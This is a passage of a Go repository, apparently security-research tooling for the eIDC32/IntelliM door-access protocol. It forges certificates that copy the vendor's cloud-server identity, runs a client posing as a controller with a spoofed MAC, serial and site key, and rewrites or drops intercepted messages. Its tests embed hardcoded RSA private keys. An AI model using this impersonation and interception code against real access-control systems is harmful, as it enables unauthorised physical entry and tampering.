BgNVBAMMCzN4TE9HSUMgSW5jMREwDwYDVQQKDAhpbmZpbmlhczEVMBMGA1UEBwwM 22 | SW5kaWFuYXBvbGlzMRAwDgYDVQQIDAdJbmRpYW5hMQswCQYDVQQGEwJVUzEjMCEG 23 | CSqGSIb3DQEJARYUc3VwcG9ydEBpbmZpbmlhcy5jb20wHhcNMTkxMDMxMTgxMDE5 24 | WhcNMjQxMDI5MTgxMDE5WjCBhDEUMBIGA1UEAwwLM3hMT0dJQyBJbmMxETAPBgNV 25 | BAoMCGluZmluaWFzMRUwEwYDVQQHDAxJbmRpYW5hcG9saXMxEDAOBgNVBAgMB0lu 26 | ZGlhbmExCzAJBgNVBAYTAlVTMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGluZmlu 27 | aWFzLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA6x3fchmUKoTsWj29 28 | 5K5LRsoI1jSyUMReaiSdqhrZLQW4JTBAp4QYvJ5Z2uraZ6nuNt9hkcdkibU4NGGb 29 | 773+xtHAA0/ljttSZMyYKviEUO2qqVg6GGjElLTiWiGAo1S6rgwKafGyZZvNrz8Y 30 | gi8GRAJCnwaOIlXoGde8+dUPKjUCAwEAATANBgkqhkiG9w0BAQUFAAOBgQApC/K2 31 | w4kgjf2xeIdilv66l7nxvVfYEQvZu+e+JbfRtRPZObcrB9m3FngJEPG5aTUBQO34 32 | 9JiriIK4PPQ9y6kY9Pz7sZaJXU/0dyeSZDomKoY3zDH8ttJ7FC3eidhuTBPJ+Ncb 33 | SGgpKjVziunyjPDValZKl9mQXdlnDRO7lPo5lQ== 34 | -----END CERTIFICATE-----` 35 | certfile, err := ioutil.TempFile("", "") 36 | if err != nil { 37 | t.Fatal(err) 38 | } 39 | defer os.Remove(certfile.Name()) 40 | err = ioutil.WriteFile(certfile.Name(), []byte(cdata), 0600) 41 | if err != nil { 42 | t.Fatal(err) 43 | } 44 | 45 | _, err = getCertFromFile(certfile.Name()) 46 | if err != nil { 47 | t.Fatal(err) 48 | } 49 | } 50 | 51 | func TestGetClearKeyFromFile(t *testing.T) { 52 | kdata := `-----BEGIN RSA PRIVATE KEY----- 53 | MIICXQIBAAKBgQDrHd9yGZQqhOxaPb3krktGygjWNLJQxF5qJJ2qGtktBbglMECn 54 | hBi8nlna6tpnqe4232GRx2SJtTg0YZvvvf7G0cADT+WO21JkzJgq+IRQ7aqpWDoY 55 | aMSUtOJaIYCjVLquDApp8bJlm82vPxiCLwZEAkKfBo4iVegZ17z51Q8qNQIDAQAB 56 | AoGAbvHYt5GkXe/9S5Po4FjygoPhaZrSLdSLrNB8aYFjy5/wRfQf/iwSNCcQxYGe 57 | 792637/G3bBWG7kcvXL1z0o7RxS2FsW5UEUSeOJ3ohHltbV5SBd7Non2QURle5EE 58 | yGzgXxuZO/K9snorfW32PizHEUc5wlwVe5AGvelM29TCOKECQQD246dhLhipHyDl 59 | rxFbgYeL67JP4W855wnVo3Brj3KX4utapfyk1dZTxmsxR5/VM6uAUzz5BHUA1X/x 60 | ePLOjrIdAkEA88sBFPxNaCA52lcR72VyveXTcFMuPELU0JqX1hMm1wL0qwPsuaFe 61 | mVgnhh/KMfpps2eXtnhanQgWqINYcY/c+QJAV1Os563TYTa2fyeOXyyQ0kgbOTAH 62 | FJcJHn0CDbmekeTc1KJzm6ZbeiRr0/F+sn3lQq2umnIeJJ5f8/yQ/cjxbQJBANqx 63 | 0uimZDHyJrOsw9QDJ2keUAxFMgaw1QPEikxppb/fUOhQfv0OuzPIFryEq/clcciU 64 | N05irLaNWPYVzTMiINECQQDD6QMb0uKlQtLtujeaGsiQ/XCFs1E8NRaA6wU95qK4 65 | HonFEwRcf5Q1WfMyeWHYdnaIRRRMqZIiW+7lv0jcewv+ 66 | -----END RSA PRIVATE KEY-----` 67 | keyfile, err := ioutil.TempFile("", "") 68 | if err != nil { 69 | t.Fatal(err) 70 | } 71 | defer os.Remove(keyfile.Name()) 72 | err = ioutil.WriteFile(keyfile.Name(), []byte(kdata), 0600) 73 | if err != nil { 74 | t.Fatal(err) 75 | } 76 | 77 | _, err = getKeyFromFile(keyfile.Name(), "") 78 | if err != nil { 79 | t.Fatal(err) 80 | } 81 | } 82 | 83 | func TestGetCryptKeyFromFile(t *testing.T) { 84 | kdata := `-----BEGIN RSA PRIVATE KEY----- 85 | Proc-Type: 4,ENCRYPTED 86 | DEK-Info: AES-256-CBC,7209D131DA3B94ECAE82C5AC4D0D105E 87 | 88 | a4cYp3FSQnvh/wCwz7bMBZsu5xtPi6dlc0dsaozwXEg7/g+x/OubJI0bp4bgQwxH 89 | BDUzquYGvXZHaTl03gmpZEoCW5K217tgx1TaEB4hBb1l4IlvJw5XLEWvtknahYHT 90 | tbkLELUMavmCDkjTyMWg7J1aCRoh1OGRXtm1LKCnwqx3DIrzFtnErBvO61Jai2kU 91 | +MqNZt9mwUz1duT5CaWxawZ9DG/758xAqwVYfFUVz967PSKEXks0Lg44Z2v6ntTZ 92 | s+MwdzhJwGjBZJVPJIp5DoroAQWPVRs0iO65mr95MlGCsSxrLuA9cQRW6rtsrVi/ 93 | 043XxmJ5RPLreJ7wPuWCZJnpSA14DvamO1Ih4MN9M4H6EBv0nA58cuHV+wWvBJ5b 94 | 38SmqZvq5x8JnuORQET5O1suzO637DtJRkAnqG61ChvEaF5fM9Nwov5mK/4JWvuB 95 | XWHN8wRtiyOVMvLPFkAMER/mvZ8Vo1npg0lxemy3GSYYkizI4INMbQrOIIWlM7Yb 96 | alt6gJ740x3l2IP9ufR/Ln3oTF8/gY6JHYrgeLWUnGT+aAGwNKFVwqPpYAg1x+V+ 97 | 2bABhW5jlZm+CneKj6mtwYXy3+UCfjzOLrAvbniwIiS6K/Y0sP/rs5ErxyhOo62Z 98 | opI9l8pjz0FzKSdfFG2fKpmIjqcgF0eclddCwGpDEwiCvtJIpgRTcmD/nbB/Gtd7 99 | 0na0JEKmQY40lK/soMlX9dj7eJFR1gMx55YSESIDBOoAD/rQHjFVQVvFBJU7DwjZ 100 | yjDxAmczVu1mZIbgpyJSovRG+P1/qK6C2zBP49u0m7LAlpK5Ah8V+9eYu9cHYnTS 101 | -----END RSA PRIVATE KEY-----` 102 | 103 | keyfile, err := ioutil.TempFile("", "") 104 | if err != nil { 105 | t.Fatal(err) 106 | } 107 | defer os.Remove(keyfile.Name()) 108 | err = ioutil.WriteFile(keyfile.Name(), []byte(kdata), 0600) 109 | if err != nil { 110 | t.Fatal(err) 111 | } 112 | 113 | _, err = getKeyFromFile(keyfile.Name(), "secret") 114 | if err != nil { 115 | t.Fatal(err) 116 | } 117 | } 118 | 119 | func TestCertAndKey(t *testing.T) { 120 | csGenAll := InfiniasCertSetup() 121 | 122 | cert, key, err := CertAndKey(csGenAll) 123 | if err != nil { 124 | t.Fatal(err) 125 | } 126 | 127 | certFile, err := ioutil.TempFile("", "cert") 128 | if err != nil { 129 | t.Fatal(err) 130 | } 131 | defer os.Remove(certFile.Name()) 132 | err = pem.Encode(certFile, &pem.Block{Type: "CERTIFICATE", Bytes: cert.Raw}) 133 | if err != nil { 134 | t.Fatalf("Failed to write data to %s: %s", certFile.Name(), err) 135 | } 136 | err = certFile.Close() 137 | if err != nil { 138 | t.Fatalf("Error closing %s: %s", certFile.Name(), err) 139 | } 140 | 141 | clearKeyFile, err := ioutil.TempFile("", "clearkey.pem") 142 | if err != nil { 143 | t.Fatal(err) 144 | } 145 | defer os.Remove(certFile.Name()) 146 | block := pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(key)} 147 | err = pem.Encode(clearKeyFile, &block) 148 | if err != nil { 149 | t.Fatalf("Failed to write data to %s: %s", clearKeyFile.Name(), err) 150 | } 151 | err = clearKeyFile.Close() 152 | if err != nil { 153 | t.Fatalf("Error closing %s: %s", clearKeyFile.Name(), err) 154 | } 155 | 156 | passphrase := randomString(10) 157 | cryptKeyFile, err := ioutil.TempFile("", "cryptkey.pem") 158 | if err != nil { 159 | t.Fatal(err) 160 | } 161 | defer os.Remove(cryptKeyFile.Name()) 162 | cipherBlock, err := x509.EncryptPEMBlock(rand.Reader, block.Type, block.Bytes, []byte(passphrase), x509.PEMCipherAES256) 163 | if err != nil { 164 | t.Fatal(err) 165 | } 166 | err = pem.Encode(cryptKeyFile, &pem.Block{Type: cipherBlock.Type, Headers: cipherBlock.Headers, Bytes: cipherBlock.Bytes}) 167 | if err != nil { 168 | t.Fatal(err) 169 | } 170 | if err := cryptKeyFile.Close(); err != nil { 171 | t.Fatalf("Error closing %s: %s", cryptKeyFile.Name(), err) 172 | } 173 | 174 | csClearKey := &CertSetup{ 175 | keyFile: clearKeyFile.Name(), 176 | template: csGenAll.template, 177 | } 178 | cert, key, err = CertAndKey(csClearKey) 179 | if err != nil { 180 | t.Fatal(err) 181 | } 182 | 183 | csCryptKey := &CertSetup{ 184 | keyFile: cryptKeyFile.Name(), 185 | passphrase: passphrase, 186 | template: csGenAll.template, 187 | } 188 | cert, key, err = CertAndKey(csCryptKey) 189 | if err != nil { 190 | t.Fatal(err) 191 | } 192 | 193 | csClearKeyCert := &CertSetup{ 194 | certFile: certFile.Name(), 195 | keyFile: clearKeyFile.Name(), 196 | } 197 | cert, key, err = CertAndKey(csClearKeyCert) 198 | if err != nil { 199 | t.Fatal(err) 200 | } 201 | 202 | csCryptKeyCert := &CertSetup{ 203 | certFile: certFile.Name(), 204 | keyFile: cryptKeyFile.Name(), 205 | passphrase: passphrase, 206 | } 207 | cert, key, err = CertAndKey(csCryptKeyCert) 208 | if err != nil { 209 | t.Fatal(err) 210 | } 211 | } 212 | 213 | func randomString(n int) string { 214 | var letter = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") 215 | 216 | b := make([]rune, n) 217 | for i := range b { 218 | b[i] = letter[mathrand.Intn(len(letter))] 219 | } 220 | return string(b) 221 | } 222 | -------------------------------------------------------------------------------- /certificate.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "crypto" 5 | "crypto/rand" 6 | "crypto/rsa" 7 | "crypto/x509" 8 | "crypto/x509/pkix" 9 | "encoding/pem" 10 | "errors" 11 | "fmt" 12 | "io/ioutil" 13 | "log" 14 | "math/big" 15 | "time" 16 | ) 17 | 18 | const ( 19 | pemPKCS1 = "RSA PRIVATE KEY" 20 | pemCertificateType = "CERTIFICATE" 21 | ) 22 | 23 | // CertSetup contains details required for creating a self-signed certificate 24 | type CertSetup struct { 25 | certFile string 26 | keyFile string 27 | passphrase string 28 | bits int 29 | template *x509.Certificate 30 | } 31 | 32 | // InfiniasCertSetup returns certificate generation parameters required 33 | // to generate a certificate like one offered by a "real" cloud server. 34 | // For example: 35 | // -----BEGIN CERTIFICATE----- 36 | //MIICjTCCAfagAwIBAgIQbF0wWR4jxZlEeXF9ZQrTQTANBgkqhkiG9w0BAQUFADCB 37 | //hDEUMBIGA1UEAxMLM3hMT0dJQyBJbmMxETAPBgNVBAoTCGluZmluaWFzMRUwEwYD 38 | //VQQHEwxJbmRpYW5hcG9saXMxEDAOBgNVBAgTB0luZGlhbmExCzAJBgNVBAYTAlVT 39 | //MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGluZmluaWFzLmNvbTAeFw0xOTExMDgw 40 | //NDU5MjRaFw0yNDExMDYwNDU5MjRaMIGEMRQwEgYDVQQDEwszeExPR0lDIEluYzER 41 | //MA8GA1UEChMIaW5maW5pYXMxFTATBgNVBAcTDEluZGlhbmFwb2xpczEQMA4GA1UE 42 | //CBMHSW5kaWFuYTELMAkGA1UEBhMCVVMxIzAhBgkqhkiG9w0BCQEWFHN1cHBvcnRA 43 | //aW5maW5pYXMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC9VGrhQAjO 44 | //lEgODdgthV/6c8YSSu6VkMSeke8326gaxRxgahr6Hx4HcVKuc6sXxtlZSeCZ/FQW 45 | //ZJ7/Tcg7t8cIl7vCriReK6gaGiylPflSfK0kHFO682DM8Q4Kk9XPfmG7owImAYfJ 46 | //ScCSegytHF1W3vxwdakEuvEq5wxQcuFebwIDAQABMA0GCSqGSIb3DQEBBQUAA4GB 47 | //AJ150Lc8BqGua8XA7sq5TedxgoVlyP1lMCKwpuQCVf7CR4/Z19cqxixIQ4vV1//+ 48 | //ibu/dqr4e6wcRHjpMzS/yZaC6ShLiPZHCmcLApn5xD+f30GxAN76LKFo+2ua6REU 49 | //e7CTWdoQQ3Q/d99HPXOPCOxNNP0utDPI62GHV8pBEB0O 50 | //-----END CERTIFICATE----- 51 | func InfiniasCertSetup() *CertSetup { 52 | serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) 53 | serialNumber, err := rand.Int(rand.Reader, serialNumberLimit) 54 | if err != nil { 55 | log.Fatalf("Failed to generate serial number: %s", err) 56 | } 57 | 58 | subject := pkix.Name{ 59 | ExtraNames: []pkix.AttributeTypeAndValue{ 60 | {Type: []int{2, 5, 4, 3}, 61 | Value: "3xLOGIC Inc"}, 62 | {Type: []int{2, 5, 4, 10}, 63 | Value: "infinias"}, 64 | {Type: []int{2, 5, 4, 7}, 65 | Value: "Indianapolis"}, 66 | {Type: []int{2, 5, 4, 8}, 67 | Value: "Indiana"}, 68 | {Type: []int{2, 5, 4, 6}, 69 | Value: "US"}, 70 | {Type: []int{1, 2, 840, 113549, 1, 9, 1}, 71 | Value: "support@infinias.com"}, 72 | }, 73 | } 74 | 75 | return &CertSetup{ 76 | certFile: "", 77 | keyFile: "", 78 | passphrase: "", 79 | bits: 1024, 80 | template: &x509.Certificate{ 81 | SerialNumber: serialNumber, 82 | SignatureAlgorithm: x509.SHA1WithRSA, 83 | Subject: subject, 84 | Issuer: subject, 85 | NotBefore: time.Now().Add(time.Duration(-86400) * time.Second), 86 | NotAfter: time.Now().Add(time.Duration(1824*86400) * time.Second), 87 | }, 88 | } 89 | } 90 | 91 | // readPemFile reads a file, returns a pointer 92 | // to the PEM block found within. 93 | // todo: not directly tested 94 | func readPemFile(fname string) (*pem.Block, error) { 95 | fileBytes, err := ioutil.ReadFile(fname) 96 | if err != nil { 97 | return nil, err 98 | } 99 | 100 | p, _ := pem.Decode(fileBytes) 101 | if p == nil { 102 | return nil, fmt.Errorf("failed to parse PEM file %s", fname) 103 | } 104 | 105 | return p, nil 106 | } 107 | 108 | // getGeyFromFile reads an RSA key file in PEM format, returns a pointer to the 109 | // key found within. The file must begin "-----BEGIN RSA PRIVATE KEY-----" 110 | // (PKCS#1 format). PKCS#8 files ("BEGIN PRIVATE KEY") are not supported. If 111 | // 'pass' is not empty, the function will attempt to decrypt the key using the 112 | // supplied passphrase. 113 | func getKeyFromFile(fname string, pass string) (*rsa.PrivateKey, error) { 114 | p, err := readPemFile(fname) 115 | if err != nil { 116 | return nil, err 117 | } 118 | 119 | if p.Type != pemPKCS1 { 120 | return nil, fmt.Errorf("%s unrecognized PEM file type: %s", fname, p.Type) 121 | } 122 | 123 | var decryptedKeyBytes []byte 124 | if pass != "" { 125 | decryptedKeyBytes, err = x509.DecryptPEMBlock(p, []byte(pass)) 126 | if err != nil { 127 | return nil, err 128 | } 129 | } else { 130 | decryptedKeyBytes = p.Bytes 131 | } 132 | 133 | return x509.ParsePKCS1PrivateKey(decryptedKeyBytes) 134 | } 135 | 136 | // getCertFromFile parses a PEM formatted certificate file, returns 137 | // a pointer to the certificate found within. 138 | func getCertFromFile(fname string) (*x509.Certificate, error) { 139 | p, err := readPemFile(fname) 140 | if err != nil { 141 | return nil, err 142 | } 143 | 144 | if p.Type != pemCertificateType { 145 | return nil, fmt.Errorf("file %s not a certificate", fname) 146 | } 147 | 148 | return x509.ParseCertificate(p.Bytes) 149 | } 150 | 151 | // getOrGenKey returns a pointer to an RSA private key. Whether it retrieves 152 | // a key or generates a key depends on whether keyFile is empty. The passphrase 153 | // string must not be empty if retrieving an encrypted key. Int bits is ignored 154 | // when retrieving a key. 155 | func getOrGenKey(keyFile string, passphrase string, bits int) (*rsa.PrivateKey, error) { 156 | if keyFile != "" { 157 | return getKeyFromFile(keyFile, passphrase) 158 | } 159 | return rsa.GenerateKey(rand.Reader, bits) 160 | } 161 | 162 | // getOrGenCert returns a pointer to an x509.Certificate. If certFile is not 163 | // empty, it will try to return the certificate the specified file. In that 164 | // case the other parameters are ignored. If certFile is empty, then key and 165 | // template are required. They're used to generate a self-signed certificate. 166 | // todo: not directly tested 167 | func getOrGenCert(certFile string, key crypto.Signer, template *x509.Certificate) (*x509.Certificate, error) { 168 | if certFile != "" { 169 | return getCertFromFile(certFile) 170 | } 171 | 172 | if template == nil { 173 | return nil, errors.New("neither certificate nor cert template provided") 174 | } 175 | 176 | certBytes, err := x509.CreateCertificate(rand.Reader, template, template, key.Public(), key) 177 | if err != nil { 178 | log.Println("oops") 179 | return nil, err 180 | } 181 | 182 | return x509.ParseCertificate(certBytes) 183 | } 184 | 185 | // CertAndKey generates or retrieves a key and certificate, depending on what's 186 | // in the specified CertSetup. It can retrieve both, retrieve a key and generate 187 | // a certificate, or generate both a certificate and a key. 188 | func CertAndKey(in *CertSetup) (*x509.Certificate, *rsa.PrivateKey, error) { 189 | if in.passphrase != "" && in.keyFile == "" { 190 | return nil, nil, fmt.Errorf("key file unspecified but passphrase specified") 191 | } 192 | 193 | if in.certFile != "" && in.keyFile == "" { 194 | return nil, nil, fmt.Errorf("key file unspecified but certfile specified") 195 | } 196 | 197 | key, err := getOrGenKey(in.keyFile, in.passphrase, in.bits) 198 | if err != nil { 199 | return nil, nil, err 200 | } 201 | 202 | cert, err := getOrGenCert(in.certFile, key, in.template) 203 | if err != nil { 204 | return nil, nil, err 205 | } 206 | 207 | certPubKey := cert.PublicKey.(*rsa.PublicKey) 208 | keyPubKey := key.PublicKey 209 | if certPubKey.Size() != keyPubKey.Size() || certPubKey.E != keyPubKey.E { 210 | return nil, nil, fmt.Errorf("certificate and key don't match") 211 | } 212 | if certPubKey.N.Cmp(keyPubKey.N) != 0 { 213 | return nil, nil, fmt.Errorf("certificate and key don't match") 214 | } 215 | 216 | return cert, key, nil 217 | } 218 | -------------------------------------------------------------------------------- /cmd/eidc/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "log" 6 | "net/http" 7 | "net/url" 8 | "os" 9 | "os/signal" 10 | "strings" 11 | "time" 12 | 13 | "github.com/chrismarget/eidc32proxy" 14 | "github.com/chrismarget/eidc32proxy/client" 15 | ) 16 | 17 | const ( 18 | defaultSiteKeyEnv = "EIDC_SITE_KEY" 19 | ) 20 | 21 | func main() { 22 | intelliMRawURL := flag.String("u", "https://127.0.0.1:18800", "The URL to connect to") 23 | proxyRawURL := flag.String("proxy", "", "Optional proxy URL") 24 | siteKeyEnv := flag.String("site-key-env", defaultSiteKeyEnv, "Environment variable containing the site key") 25 | allowEmptySiteKey := flag.Bool("allow-empty-site-key", false, "Allow an empty site") 26 | serverKey := flag.String("server-key", "", "The initial server key to use (defaults to random string)") 27 | macAddress := flag.String("mac", "00:14:E4:01:23:45", "The eIDC MAC address to use") 28 | macAddressOverride := flag.String("mac-override", "", "Override and do not validate the MAC address") 29 | serialNumberOverride := flag.String("serial-override", "", "Override the serial number (normally derived from MAC)") 30 | firmwareVersion := flag.String("firmware", "3.4.20", "The client's firmware version") 31 | cardFormat := flag.String("card-format", "short", "The client's card format") 32 | ipAddress := flag.String("ip", "172.16.1.100", "The IP address of the client") 33 | configurationKey := flag.String("config-key", "", "The configuration key, which is normally unspecified") 34 | showHelp := flag.Bool("h", false, "Display this help page") 35 | showExamples := flag.Bool("x", false, "Show example usages") 36 | 37 | flag.Parse() 38 | 39 | if *showHelp { 40 | flag.PrintDefaults() 41 | os.Exit(1) 42 | } 43 | 44 | if *showExamples { 45 | os.Stderr.WriteString(`[examples] 46 | 47 | default usage: 48 | read -s ` + defaultSiteKeyEnv + ` 49 | 50 | export ` + defaultSiteKeyEnv + ` 51 | client -u https://127.0.0.1:18800 52 | `) 53 | os.Exit(1) 54 | } 55 | 56 | var macAddressFinal string 57 | if len(*macAddressOverride) > 0 { 58 | macAddressFinal = *macAddressOverride 59 | } else { 60 | macAddressFinal = *macAddress 61 | } 62 | 63 | var serialNumberFinal string 64 | if len(*serialNumberOverride) > 0 { 65 | serialNumberFinal = *serialNumberOverride 66 | } else { 67 | if len(*macAddressOverride) > 0 { 68 | serialNumberFinal = client.SerialNumberWithSuffix(strings.ReplaceAll(*macAddressOverride, ":", "")) 69 | } else { 70 | sn, err := client.SerialNumberFromMACString(*macAddress) 71 | if err != nil { 72 | log.Fatalf("failed to create serial number from mac - %s", err.Error()) 73 | } 74 | serialNumberFinal = sn 75 | } 76 | } 77 | 78 | if len(*serverKey) == 0 { 79 | var err error 80 | *serverKey, err = client.RandomServerKey() 81 | if err != nil { 82 | log.Fatalf("failed to generate a random server key - %s", err.Error()) 83 | } 84 | } 85 | 86 | siteKey, ok := os.LookupEnv(*siteKeyEnv) 87 | if !ok && !*allowEmptySiteKey { 88 | log.Fatal("a site key was not provided - this can be overridden with command line arguments") 89 | } 90 | 91 | target, err := url.Parse(*intelliMRawURL) 92 | if err != nil { 93 | log.Fatalf("failed to parse target url - %s", err.Error()) 94 | } 95 | 96 | var optionalProxy *url.URL 97 | if len(*proxyRawURL) > 0 { 98 | optionalProxy, err = url.Parse(*proxyRawURL) 99 | if err != nil { 100 | log.Fatalf("failed to parse proxy url - %s", err.Error()) 101 | } 102 | } 103 | 104 | intellimURL := &client.IntellimURL{ 105 | IntelliM: target, 106 | OptionalProxy: optionalProxy, 107 | } 108 | 109 | rawGobrResp, err := eidc32proxy.EIDCHTTPResponseBytes(&eidc32proxy.EIDCHTTPResponseData{ 110 | StatusCode: http.StatusOK, 111 | WrapperBody: &eidc32proxy.EIDCSimpleResponse{ 112 | Cmd: eidc32proxy.GetoutboundResponseCmd, 113 | Result: true, 114 | }, 115 | Body: &eidc32proxy.GetOutboundResponse{ 116 | SiteKey: siteKey, 117 | PrimaryHostAddress: strings.Split(intellimURL.IntelliM.Host, ":")[0], 118 | PrimaryPort: 18800, 119 | SecondaryHostAddress: "52.200.49.37", 120 | SecondaryPort: 18800, 121 | PrimarySsl: 1, 122 | SecondarySsl: 1, 123 | RetryInterval: 1, 124 | MaxRandomRetryInterval: 60, 125 | Enabled: 1, 126 | }, 127 | }) 128 | if err != nil { 129 | log.Fatalf("failed to pre-compute response for getOutboundRequest - %s", err.Error()) 130 | } 131 | 132 | // Create a pager before connecting and subscribe so we 133 | // do not miss any messages. 134 | messagePager := eidc32proxy.NewMessagePager() 135 | anyMessages, stopAnyMessages := messagePager.Subscribe(eidc32proxy.SubInfo{ 136 | Category: eidc32proxy.SubMsgCatAny, 137 | }) 138 | getOutboundRequests, stopGetOutboundsRequests := messagePager.Subscribe(eidc32proxy.SubInfo{ 139 | MsgTypes: []eidc32proxy.MsgType{eidc32proxy.MsgTypeGetoutboundRequest}, 140 | }) 141 | garbageRequests, garbageUnsubFns := client.SubscribeTo(messagePager, 142 | eidc32proxy.MsgTypeHeartbeatRequest, 143 | eidc32proxy.MsgTypeResetEventsRequest, 144 | eidc32proxy.MsgTypeEnableEventsRequest, 145 | eidc32proxy.MsgTypeSetOutboundRequest, 146 | eidc32proxy.MsgTypeSetWebUserRequest) 147 | unsubAllPagerSubsFn := func() { 148 | stopAnyMessages() 149 | stopGetOutboundsRequests() 150 | for _, unsub := range garbageUnsubFns { 151 | unsub() 152 | } 153 | } 154 | 155 | eidcClient, err := client.ConnectWithConfig(client.ConnectionConfig{ 156 | URL: intellimURL, 157 | Pager: messagePager, 158 | FirstWriteTimeout: 30 * time.Second, 159 | FirstReadTimeout: 30 * time.Second, 160 | ServerKey: *serverKey, 161 | Request: eidc32proxy.ConnectedRequest{ 162 | SerialNumber: serialNumberFinal, 163 | FirmwareVersion: *firmwareVersion, 164 | IPAddress: *ipAddress, 165 | MacAddress: macAddressFinal, 166 | SiteKey: siteKey, 167 | ConfigurationKey: *configurationKey, 168 | CardFormat: *cardFormat, 169 | }, 170 | }) 171 | if err != nil { 172 | unsubAllPagerSubsFn() 173 | log.Fatalf("failed to connect to %s - %s", target.String(), err.Error()) 174 | } 175 | 176 | controlC := make(chan os.Signal, 1) 177 | signal.Notify(controlC, os.Interrupt, os.Kill) 178 | 179 | sendWrapperFn := func(raw []byte, msgType eidc32proxy.MsgType) error { 180 | log.Printf("[notice] automaically responding to '%s' with:\n%s", 181 | msgType.String(), raw) 182 | return eidcClient.SendRaw(raw) 183 | } 184 | 185 | respondTrueErrs := client.TrueDat(sendWrapperFn, garbageRequests...) 186 | 187 | OUTER: 188 | for { 189 | select { 190 | case err := <-eidcClient.OnConnClosed(): 191 | if err != nil { 192 | log.Printf("[fatal] connection ended - %s", err.Error()) 193 | } else { 194 | log.Println("[done] socket closed") 195 | } 196 | break OUTER 197 | case <-controlC: 198 | break OUTER 199 | case msg := <-anyMessages: 200 | if msg.Direction() == eidc32proxy.Northbound { 201 | log.Printf("[outgoing message]\n'%s'", msg.OrigBytes()) 202 | } else { 203 | log.Printf("[incoming message]\n'%s'", msg.OrigBytes()) 204 | } 205 | case <-getOutboundRequests: 206 | log.Println("responding to gobr...") 207 | 208 | err = eidcClient.SendRaw(rawGobrResp) 209 | if err != nil { 210 | log.Printf("failed to send response to getOutboundRequest - %s", err.Error()) 211 | continue 212 | } 213 | 214 | log.Printf("sent this response to gobr: '%s'", rawGobrResp) 215 | case err := <-respondTrueErrs: 216 | if err != nil { 217 | log.Printf("[warning] failed to automatically respond to a message - %s", err.Error()) 218 | } 219 | } 220 | } 221 | 222 | unsubAllPagerSubsFn() 223 | eidcClient.Close() 224 | } 225 | -------------------------------------------------------------------------------- /mangle.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/url" 7 | "strconv" 8 | ) 9 | 10 | type ( 11 | MangleResult uint8 12 | Mangler interface { 13 | Mangle(*Message) (MangleResult, error) 14 | } 15 | ) 16 | 17 | const ( 18 | serverRequestSequenceParam = "seq" 19 | ManglerDone MangleResult = 1 << 0 20 | ManglerDrop MangleResult = 1 << 1 21 | ManglerErr MangleResult = 1 << 2 22 | ManglerSuccess MangleResult = 1 << 3 23 | ManglerNoop MangleResult = 1 << 4 24 | ) 25 | 26 | type seqMangler struct { 27 | lastSeq int 28 | log bool 29 | } 30 | 31 | func (o *seqMangler) Mangle(msg *Message) (MangleResult, error) { 32 | // reasons to bail early 33 | switch { 34 | case msg.Direction() != Southbound: 35 | return ManglerNoop, nil 36 | case msg.Request == nil: 37 | return ManglerNoop, nil 38 | } 39 | 40 | // extract the whole URL. Something like: 41 | // /eidc/heartbeat?username=admin&password=admin&seq=9 42 | u, err := url.Parse(msg.Request.URL.String()) 43 | if err != nil { 44 | return ManglerErr, err 45 | } 46 | 47 | // values maps keys (username, password, seq) to slices of 48 | // strings (in case a key appears more than once, i guess?) 49 | values, err := url.ParseQuery(u.RawQuery) 50 | if err != nil { 51 | return ManglerErr, err 52 | } 53 | 54 | // extract the first occurence of "seq", convert it to int 55 | seqStr := values.Get(serverRequestSequenceParam) 56 | if seqStr == "" { 57 | return ManglerNoop, nil 58 | } 59 | seqIn, err := strconv.Atoi(seqStr) 60 | if err != nil { 61 | return ManglerErr, err 62 | } 63 | 64 | // at this point we can be confident that a sequenced command 65 | // has arrived. No matter what, this message is getting sent, 66 | // so lastSeq will need to be incremented. Do that now. 67 | o.lastSeq++ 68 | 69 | // bail if this message is *already* sequenced correctly 70 | if o.lastSeq == seqIn { 71 | if o.log { 72 | log.Printf("Sequence %d okay", seqIn) 73 | } 74 | return ManglerNoop, nil 75 | } 76 | 77 | if o.log { 78 | log.Printf("Sequence %d set to %d", seqIn, o.lastSeq) 79 | } 80 | 81 | // rebuild the URL with the new value before returning. 82 | values.Set(serverRequestSequenceParam, strconv.Itoa(o.lastSeq)) 83 | u.RawQuery = values.Encode() 84 | msg.Request.URL = u 85 | 86 | return ManglerSuccess, nil 87 | } 88 | 89 | type DropMessageByType struct { 90 | DropType MsgType 91 | Remaining int 92 | } 93 | 94 | func (o *DropMessageByType) Mangle(msg *Message) (MangleResult, error) { 95 | if msg.Type == o.DropType { 96 | log.Println("Dropping message") 97 | o.Remaining-- 98 | var result MangleResult 99 | result = result & ManglerSuccess 100 | result = result & ManglerDrop 101 | if o.Remaining < 1 { 102 | result = result & ManglerDone 103 | } 104 | return result, nil 105 | } 106 | return ManglerNoop, nil 107 | } 108 | 109 | type PrintMangler struct{} 110 | 111 | func (o PrintMangler) Mangle(msg *Message) (MangleResult, error) { 112 | log.Printf("%s %s message", msg.direction.String(), msg.Type.String()) 113 | switch msg.Type { 114 | case MsgTypeEventRequest: 115 | eventReq, err := msg.ParseEventRequest() 116 | if err != nil { 117 | return ManglerNoop, err 118 | } 119 | log.Printf(" event type %s", eventReq.EventType) 120 | } 121 | return ManglerNoop, nil 122 | } 123 | 124 | // dropEidcResponse is a mangler that drops a single instance of an eIDC32 WebServer 125 | // HTTP response message. These messages come in response to IntelliM commands, and 126 | // include an EIDCSimpleResponse{} or EIDCBodyResponse{} as payload. 127 | // It's a one-shot mangler, so it removes itself after dropping a single message. 128 | // msgType is used to match the message we'd like to suppress. 129 | // log controls whether we print to stderr. 130 | type dropEidcResponse struct { 131 | log bool 132 | msgType MsgType 133 | } 134 | 135 | func (o dropEidcResponse) Mangle(msg *Message) (MangleResult, error) { 136 | if msg.direction != Northbound { 137 | return ManglerNoop, nil 138 | } 139 | 140 | if msg.Response == nil { 141 | return ManglerNoop, nil 142 | } 143 | 144 | if msg.Type != 